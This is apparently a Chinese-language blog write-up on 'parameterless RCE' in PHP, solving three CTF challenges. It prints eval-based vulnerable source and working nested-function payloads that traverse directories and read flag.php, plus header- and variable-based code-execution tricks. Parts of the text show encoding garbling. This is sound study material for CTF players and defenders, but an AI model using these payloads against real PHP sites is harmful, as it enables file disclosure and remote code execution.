浅谈无参数RCE
0x00 前言
這幾天做了幾道無(wú)參數(shù)RCE的題目,這里來(lái)總結(jié)一下,以后忘了也方便再撿起來(lái)。
首先先來(lái)解釋一下什么是無(wú)參數(shù)RCE:
形式:
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) { eval($_GET['code']);}
preg_replace('/[a-z]+((?R)?)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))
分析一下代碼:
preg_replace 的主要功能就是限制我們傳輸進(jìn)來(lái)的必須是純小寫(xiě)字母的函數(shù),而且不能攜帶參數(shù)。
再來(lái)看一下:(?R)?,這個(gè)意思為遞歸整個(gè)匹配模式。所以正則的含義就是匹配無(wú)參數(shù)的函數(shù),內(nèi)部可以無(wú)限嵌套相同的模式(無(wú)參數(shù)函數(shù))
preg_match的主要功能就是過(guò)濾函數(shù),把一些常用不帶參數(shù)的函數(shù)關(guān)鍵部分都給過(guò)濾了,需要去構(gòu)造別的方法去執(zhí)行命令。
因此,我們可以用這樣一句話來(lái)解釋無(wú)參數(shù)RCE:
我們要使用不傳入?yún)?shù)的函數(shù)來(lái)進(jìn)行RCE
比如:
print_r(scandir('a()'));可以使用
print_r(scandir('123'));不可以使用
再形象一點(diǎn),就是套娃嘛。。一層套一個(gè)函數(shù)來(lái)達(dá)到我們RCE的目的
比如:
?exp=print_r(array_reverse(scandir(current(localeconv()))));
0x01 從代碼開(kāi)始分析
我們先來(lái)看一下幾天前剛做的一道題目:
[GXYCTF2019]禁止套娃
源碼:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點(diǎn)哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
我們先來(lái)分析一下源碼吧:
1:需要以GET形式傳入一個(gè)名為exp的參數(shù)。如果滿足條件會(huì)執(zhí)行這個(gè)exp參數(shù)的內(nèi)容。
2:preg_match過(guò)濾了我們偽協(xié)議的可能
3:preg_replace 的主要功能就是限制我們傳輸進(jìn)來(lái)的必須時(shí)純小寫(xiě)字母的函數(shù),而且不能攜帶參數(shù)。只能匹配通過(guò)無(wú)參數(shù)的函數(shù)。
4:最后一個(gè)preg_match正則匹配掉了et/na/info等關(guān)鍵字,很多函數(shù)都用不了
5:eval($_GET['exp']);?典型的無(wú)參數(shù)RCE
既然getshell基本不可能,那么考慮讀源碼看源碼,flag應(yīng)該就在flag.php我們想辦法讀取
首先需要得到當(dāng)前目錄下的文件scandir()函數(shù)可以掃描當(dāng)前目錄下的文件,例如:
<?php print_r(scandir('.')); ?>
那么問(wèn)題就是如何構(gòu)造scandir('.')
這里再看函數(shù)
localeconv() 函數(shù):
返回一包含本地?cái)?shù)字及貨幣格式信息的數(shù)組。而數(shù)組第一項(xiàng)就是.current() 返回?cái)?shù)組中的當(dāng)前單元, 默認(rèn)取第一個(gè)值。
這里還有一個(gè)知識(shí)點(diǎn):
current(localeconv())永遠(yuǎn)都是個(gè)點(diǎn)
那么我們第一步就解決了:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
pos() 是current() 的別名。
現(xiàn)在的問(wèn)題就是怎么讀取倒數(shù)第二個(gè)數(shù)組呢?
看手冊(cè):
很明顯,我們不能直接得到倒數(shù)第二組中的內(nèi)容:
三種方法:
1.array_reverse()
以相反的元素順序返回?cái)?shù)組
?exp=print_r(array_reverse(scandir(current(localeconv()))));
2.array_rand(array_flip())
array_flip()交換數(shù)組的鍵和值
?exp=print_r(array_flip(scandir(current(localeconv()))));
array_rand()從數(shù)組中隨機(jī)取出一個(gè)或多個(gè)單元,不斷刷新訪問(wèn)就會(huì)不斷隨機(jī)返回,本題目中scandir()返回的數(shù)組只有5個(gè)元素,刷新幾次就能刷出來(lái)flag.php
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
3.session_id(session_start())
本題目雖然ban了hex關(guān)鍵字,導(dǎo)致hex2bin()被禁用,但是我們可以并不依賴于十六進(jìn)制轉(zhuǎn)ASCII的方式,因?yàn)閒lag.php這些字符是PHPSESSID本身就支持的。
使用session之前需要通過(guò)session_start()告訴PHP使用session,php默認(rèn)是不主動(dòng)使用session的。
session_id()可以獲取到當(dāng)前的session id。
因此我們手動(dòng)設(shè)置名為PHPSESSID的cookie,并設(shè)置值為flag.php
那么我們最后一個(gè)問(wèn)題:如何讀flag.php的源碼
因?yàn)閑t被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()或highlight_file()以及其別名函數(shù)show_source()
view-source:http://x.x.x.x:x/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?exp=show_source(session_id(session_start()));
我們?cè)賮?lái)看一個(gè)題目:
ByteCTF Boringcode
來(lái)看代碼:
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+((?R)?)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
我們簡(jiǎn)單分析一下:
preg_match中
因?yàn)橹辉试S使用純字母函數(shù),print_r這里被禁止掉了
注意這里的過(guò)濾比上面的多了很多,比如current就不能用了,我們可以用pos代替
看wp:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
我們一層一層的來(lái)分析:
首先題目給了提示,flag在上一級(jí)目錄
所以我們要切換到上一級(jí)并讀取 flag
1:localeconv()函數(shù)
前面已經(jīng)提過(guò):
localeconv() 函數(shù):
返回一包含本地?cái)?shù)字及貨幣格式信息的數(shù)組。而數(shù)組第一項(xiàng)就是.current() 返回?cái)?shù)組中的當(dāng)前單元, 默認(rèn)取第一個(gè)值。
這里還有一個(gè)知識(shí)點(diǎn):
current(localeconv())永遠(yuǎn)都是個(gè)點(diǎn)
2:pos()函數(shù)
前面提過(guò):
作用: 返回?cái)?shù)組中的當(dāng)前元素的值
因?yàn)檎齽t條件中有nt,所以current()函數(shù)就無(wú)法使用,但是它有一個(gè)別名,就是pos()
3:?scandir()函數(shù)
前面 pos() 函數(shù)輸出的值為點(diǎn)(.),所以這里變成scandir(.),也就是當(dāng)前目錄
介紹下一個(gè)函數(shù)前我們先來(lái)了解一下php的數(shù)組指向函數(shù),上一個(gè)題目簡(jiǎn)單提了一下
4:?next()函數(shù)
作用: 將數(shù)組中的內(nèi)部指針向前移動(dòng)一位
在剛才 scandir() 函數(shù)返回的數(shù)組中,第一位是點(diǎn)(.),此時(shí)指針默認(rèn)指向該位(也就是第一位),通過(guò)next()函數(shù),將指針移動(dòng)到下一位,也就是點(diǎn)點(diǎn)(..)
5:chdir()函數(shù)
next() 函數(shù)返回點(diǎn)點(diǎn)(..),chdir()函數(shù)執(zhí)行 chdir(..) 也就把目錄切換到了上一級(jí)
6:time()函數(shù)
chdir() 函數(shù)返回的是 bool 類型的 true ,所以對(duì)不需要傳入?yún)?shù)的time()函數(shù)來(lái)說(shuō),本來(lái)就沒(méi)有影響,可以正常執(zhí)行
7:localtime()函數(shù)
localtime()函數(shù)可以接受參數(shù),并且第一個(gè)參數(shù)可以直接接受time(),所以直接利用
8:pos()函數(shù)
獲取第一個(gè)參數(shù),也就是系統(tǒng)當(dāng)前的秒數(shù)
9:chr()函數(shù)
chr()函數(shù)在這里什么作用呢?因?yàn)楫?dāng)秒數(shù)為46時(shí),chr(46)=”.”,用來(lái)獲取點(diǎn)(.)(這里不能再用 localeconv() 函數(shù)是因?yàn)樗荒軅魅雲(yún)?shù))
10:scandir()函數(shù)
繼續(xù)掃描當(dāng)前目錄(默認(rèn)目錄得上一級(jí),因?yàn)槲覀儎偛乓呀?jīng) chdir(“..”) 切換過(guò))
11:end()函數(shù)
作用: 將?array?的內(nèi)部指針移動(dòng)到最后一個(gè)單元并返回其值
scandir() 返回當(dāng)前目錄的數(shù)組,end()函數(shù)將指針移動(dòng)到最后一個(gè)(這里就是 flag.php ,因?yàn)槲募醋帜赶群笈判颍帜?f?在本題中排最后
12:readfile()函數(shù)
作用: 讀取文件并寫(xiě)入到輸出緩沖
這里將執(zhí)行readfile(“flag.php”),將 flag.php 的內(nèi)容讀取出來(lái)
13:echo()函數(shù)
用echo()函數(shù)將 flag 輸出
本地測(cè)試了一下確實(shí)能打通
再來(lái)看一道題目:
2019上海市大學(xué)生網(wǎng)絡(luò)安全大賽_decade
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+((?R)?)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "No way!!!";
}
}
else {
echo "No way!!!";
}
?>
審計(jì)源碼,過(guò)濾的比上一個(gè)更多:
我們來(lái)對(duì)比一下:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
先列一下不能用的函數(shù),看看能不能代替:
localeconv()
time()
localtime()
readfile()
我們從payload開(kāi)始分析吧:
readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
這里只分析一下我們這個(gè)題目和上一個(gè)不同,詳細(xì)的盯著手冊(cè)在本地測(cè)試就行了
仔細(xì)想想,我們只有兩個(gè)問(wèn)題:
1:怎么構(gòu)造點(diǎn)(.)
2:readfile被過(guò)濾怎么讀取
解決第一個(gè):
46經(jīng)過(guò)chr()轉(zhuǎn)換就是.
第二個(gè):
readgzfile可以代替readfile
好了問(wèn)題解決,剩下的就是照著上一個(gè)思路搬磚了。
0x02 總結(jié)
先來(lái)總結(jié)一下這種題目的思路:
首先我們先看一下過(guò)濾了哪些函數(shù),還有哪些關(guān)鍵字。很多時(shí)候會(huì)過(guò)濾讀文件的,我們可以先f(wàn)uzz一下:
<?php var_dump(get_defined_functions());?>
之后呢就是想方設(shè)法“套娃”來(lái)RCE,或者進(jìn)行目錄遍歷了。
列一下常用函數(shù):
getchwd() 函數(shù)返回當(dāng)前工作目錄。
scandir() 函數(shù)返回指定目錄中的文件和目錄的數(shù)組。
dirname() 函數(shù)返回路徑中的目錄部分。
chdir() 函數(shù)改變當(dāng)前的目錄。
readfile() 輸出一個(gè)文件
current() 返回?cái)?shù)組中的當(dāng)前單元, 默認(rèn)取第一個(gè)值
pos() current() 的別名
next() 函數(shù)將內(nèi)部指針指向數(shù)組中的下一個(gè)元素,并輸出。
end() 將內(nèi)部指針指向數(shù)組中的最后一個(gè)元素,并輸出。
array_rand() 函數(shù)返回?cái)?shù)組中的隨機(jī)鍵名,或者如果您規(guī)定函數(shù)返回不只一個(gè)鍵名,則返回包含隨機(jī)鍵名的數(shù)組。
array_flip() array_flip() 函數(shù)用于反轉(zhuǎn)/交換數(shù)組中所有的鍵名以及它們關(guān)聯(lián)的鍵值。
array_slice() 函數(shù)在數(shù)組中根據(jù)條件取出一段值,并返回
chr() 函數(shù)從指定的 ASCII 值返回字符。
hex2bin — 轉(zhuǎn)換十六進(jìn)制字符串為二進(jìn)制字符串
getenv() 獲取一個(gè)環(huán)境變量的值(在7.1之后可以不給予參數(shù))
前面呢因?yàn)檎齽t過(guò)濾還有好幾種方法沒(méi)提,這里來(lái)講一下:
上面的目錄遍歷形式的沒(méi)有環(huán)境區(qū)別,我們這里來(lái)分一下環(huán)境:
apache
getallheaders()函數(shù)
先通過(guò)頭部傳入惡意數(shù)據(jù),之后我們?cè)偃〕鰜?lái):
成功RCE
nginx
get_defined_vars()函數(shù)
我們可以通過(guò)定義新的變量來(lái)控制該函數(shù)的返回值
然后變成我們想要執(zhí)行的代碼,例如phpinfo();
然后我們現(xiàn)在要想辦法將我們想執(zhí)行的代碼從數(shù)組中提取出來(lái)
先用current函數(shù)取出get鍵值所對(duì)應(yīng)的值,然后再利用array_values函數(shù)將數(shù)組的值重新組成一個(gè)數(shù)組,再次利用current函數(shù)取出數(shù)組第一個(gè)值,將var_dump改成eval即可實(shí)現(xiàn)RCE
除了這兩個(gè),我們也可以通過(guò)session_id(session_start()),上面也已經(jīng)提過(guò)
題目雖然ban了hex關(guān)鍵字,導(dǎo)致hex2bin()被禁用,但是我們可以并不依賴于十六進(jìn)制轉(zhuǎn)ASCII的方式,因?yàn)閒lag.php這些字符是PHPSESSID本身就支持的。使用session之前需要通過(guò)session_start()告訴PHP使用session,php默認(rèn)是不主動(dòng)使用session的。session_id()可以獲取到當(dāng)前的session id。因此我們手動(dòng)設(shè)置名為PHPSESSID的cookie,并設(shè)置值為flag.php
參考鏈接:
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/
總結(jié)
- 上一篇: wap2app(一)-- 网站快速打包成
- 下一篇: cad打开提示图形文件无效如何解决